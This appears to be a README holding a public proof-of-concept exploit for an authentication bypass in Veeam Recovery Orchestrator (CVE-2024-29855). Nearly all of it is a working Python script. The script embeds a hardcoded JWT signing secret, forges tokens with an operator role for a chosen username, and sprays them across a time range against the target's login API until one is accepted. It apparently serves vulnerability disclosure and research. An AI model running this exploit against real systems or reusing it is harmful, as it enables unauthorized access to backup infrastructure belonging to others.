README.md
Rendering markdown...
"""
Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
"""
banner = r"""
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
"""
""""""
import jwt
import time
import warnings
import requests
import argparse
from concurrent.futures import ThreadPoolExecutor
import signal
import sys
warnings.filterwarnings("ignore")
jwt_secret = "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI="
counter = 0
def exploit_token(token):
global counter
url = f"{args.target.rstrip('/')}/api/v0/Login/GetInitData"
headers = {"Authorization": f"Bearer {token}"}
try:
res = requests.get(url, verify=False, headers=headers)
if(res.status_code == 200):
print(f"(+) Pwned Token: {token}, Status code: {res.status_code}\n(+) Response: {res.text}")
counter = 21
sys.exit(0)
if(args.debug or counter == 10):
print(f"(INFO) Spraying JWT Tokens: {res.status_code}")
counter = 0
except requests.exceptions.RequestException as e:
if args.debug:
print(f"(INFO) Request failed: {e}")
counter += 1
def generate_token_and_exploit(current_time):
claims = {
"unique_name": args.username,
"role": "SiteSetupOperator",
"nbf": current_time,
"exp": current_time + 900,
"iat": current_time
}
encoded_jwt = jwt.encode(claims, jwt_secret, algorithm="HS256")
exploit_token(encoded_jwt)
def signal_handler(sig, frame):
print('Interrupted! Shutting down gracefully...')
executor.shutdown(wait=False)
sys.exit(0)
if __name__ == "__main__":
print(banner)
parser = argparse.ArgumentParser(description="Generate and exploit JWT tokens.")
parser.add_argument("--start_time", type=int, help="Start time in epoch format", required=True)
parser.add_argument("--end_time", type=int, help="End time in epoch format", required=True)
parser.add_argument("--username", type=str, help="[email protected] or evilcorp\\administrator", required=True)
parser.add_argument("--target", type=str, help="target url, e.g. https://192.168.253.180:9898/", required=True)
parser.add_argument("--debug", action="store_true", help="Enable debug mode")
args = parser.parse_args()
start_time = args.start_time
end_time = args.end_time
signal.signal(signal.SIGINT, signal_handler)
with ThreadPoolExecutor() as executor:
signal.signal(signal.SIGINT, lambda sig, frame: signal_handler(sig, frame))
current_time = start_time
while current_time < end_time:
try:
executor.submit(generate_token_and_exploit, current_time)
current_time += 1
except KeyboardInterrupt:
print("Keyboard interrupt received, shutting down...")
executor.shutdown(wait=False)
sys.exit(0)